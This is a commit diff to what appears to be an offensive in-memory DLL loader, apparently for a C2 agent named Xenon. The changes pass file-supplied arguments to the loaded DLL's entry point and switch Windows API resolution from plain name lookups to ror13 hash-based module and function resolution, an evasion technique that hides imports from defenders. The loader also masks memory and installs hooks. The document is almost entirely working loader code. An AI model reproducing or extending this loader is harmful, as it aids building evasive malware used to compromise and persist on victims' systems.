Slight adjustments to be compatible with Xenon

This commit is contained in:
nickswink
2026-03-01 12:53:51 -05:00
parent 10120be442
commit ec5ca19d40
4 changed files with 16 additions and 14 deletions
Binary file not shown.
+6 -5
View File
@@ -6,13 +6,9 @@ x64:
load "bin/services.x64.o"
merge
dfr "patch_resolve" "strings"
dfr "patch_resolve" "ror13"
mergelib "../libtcg.x64.zip"
# patch smart pointers in
patch "get_module_handle" $GMH
patch "get_proc_address" $GPA
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
@@ -42,6 +38,11 @@ x64:
preplen
link "mask"
# DLL Args from File
load %ARGFILE
preplen
link "dll_args"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
+6 -2
View File
@@ -10,6 +10,7 @@ DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
char _DLLARGS_ [ 0 ] __attribute__ ( ( section ( "dll_args" ) ) );
int __tag_setup_hooks ( );
int __tag_setup_memory ( );
@@ -132,9 +133,12 @@ void go ( void * loader_arguments )
/* now run the DLL */
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
/* Pointer to DLL arguments */
char * dll_arguments = GETRESOURCE ( _DLLARGS_ );
/* free the unmasked copy */
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, loader_arguments );
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, dll_arguments );
// entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
}
+4 -7
View File
@@ -1,15 +1,12 @@
#include <windows.h>
/* patch function pointers in */
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
#include "tcg.h"
/**
* This function is used to locate functions in
* modules that are loaded by default (K32 & NTDLL)
*/
FARPROC patch_resolve ( char * mod_name, char * func_name )
FARPROC patch_resolve ( DWORD mod_hash, DWORD func_hash )
{
HANDLE module = get_module_handle ( mod_name );
return get_proc_address ( module, func_name );
HANDLE module = findModuleByHash ( mod_hash );
return findFunctionByHash ( module, func_hash );
}